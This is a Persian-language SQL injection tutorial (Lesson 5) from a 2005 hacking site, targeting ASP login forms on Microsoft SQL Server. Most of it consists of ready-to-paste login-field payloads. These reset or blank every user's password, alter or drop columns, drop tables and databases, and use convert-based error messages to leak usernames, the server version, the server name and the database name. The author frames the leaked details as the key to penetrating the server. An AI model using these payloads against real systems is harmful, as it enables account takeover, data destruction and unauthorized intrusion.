SQL Injection (Lesson 5)
(Using SQL Server)

با توجه به برخی مسائل تصمیم گرفتم مثالها رو محدود کنم.(به سفارش دوستان قراره ما سایت ایرانی مثال نزنیم!)
در ضمن فکر میکنم خود مباحث به اندازه کافی روشن و بدیهی است.به هر حال:

The best way to learn sql injection: install mssql and learn it, u will be expert

اگه یادتون باشه در درس قبل گفتیم برای تغییر مقادیر مورد نظر در database از دستور UPDATE استفاده می کنیم.

Login: ' UPDATE users set password = '46f7fk' where (username = 'ehsan2'); --

این دستور میگه که پسورد رو 46f7fk قرار بده وقتی که username = ehsan2

اگه این شرط رو از دستور بالا برداریم به دستور زیر می رسیم:

Login: ' UPDATE users set password = '46f7fk';--

این دستور میگه که پسورد رو 46f7fk قرار بده و شرطی هم وجود نداره پس پسورد کلیه username های
موجود در دیتابیس به 46f7fk تغییر می کند.(یعنی کلیه مقادیر موجود در یک ستون را به مقدار مورد نظر تبدیل می کند)

حالا به این دستور توجه کنید:

Login: ' UPDATE users set password = '';--

کلیه مقادیر موجود در ستون را تهی قرار می دهد.در حقیقت مثل این است که کلیه مقادیر ستون فوق را حذف کرده و به Null تغییر دادیم.

دستور زیر که در آن از where و NOT IN استفاده شده کلیه پسوردها را به 46f7fk تغییر می دهد بجز پسورد یوزرهای ehsan2 و systemu که ثابت می ماند.

Login: ' UPDATE users set password = '46f7fk' where username NOT IN('ehsan2','systemu'); --

برای اضافه کردن یک ستون به دیتابیس و یا حذف یک ستون از دیتابیس از ALTER TABLE استفاده می کنیم.

Login: ' ALTER TABLE <table_name> ADD <column_name> varchar(30);--

Login: ' ALTER TABLE <table_name> DROP COLUMN <column_name>;--

برای حذف Table از دستور:

Login: ' DROP TABLE <table_name>

برای حذف دیتابیس از دستور:

Login: ' DROP DATABASE <database_name>

اگه نیاز به اطلاعات بیشتر داشتید شروع کنید به یادگیری SQL

نکته: در مواردی که هنگام استفاده از union به Error زیر برخوردید:

- Login: ' union select min (name), 1,1 from users where username > 'a';--

Microsoft OLE DB Provider for SQL Server error '80040e07'
Operand type clash: uniqueidentifier is incompatible with int
Check.asp, line 22/

از convert استفاده کنید مثلا:

- Login: '+ ((convert(int, (SELECT TOP 1 UserName FROM Users WHERE Username > 'a')) + "--

و برای بدست آوردن یوزرهای بعدی از where و NOT IN استفاده کنید.

خوب حالا نکته بالا رو فراموش کنید و بپردازیم به بدست آوردن اطلاعات بیشتر از سرور: **(بسیار مهم)**

Login: a' or 1=convert(int,@@version)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

/login/login.asp, line 131

Login: a' or 1=convert(int,@@servername)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1G2K' to a column of data type int.

/login/login.asp, line 131

Login: a' or 1=convert(int,db_name())--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'kpyas' to a column of data type int.

/login/login.asp, line 131

این اطلاعات برای نفوذ به سرور خیلی اهمیت داره. در درس۶ به ادامه مطالب خواهیم پرداخت .

Author: Mouse@Shabgard.org

Copyright © 2005 Shabgard.org. All rights reserved.
http://isun.Shabgard.org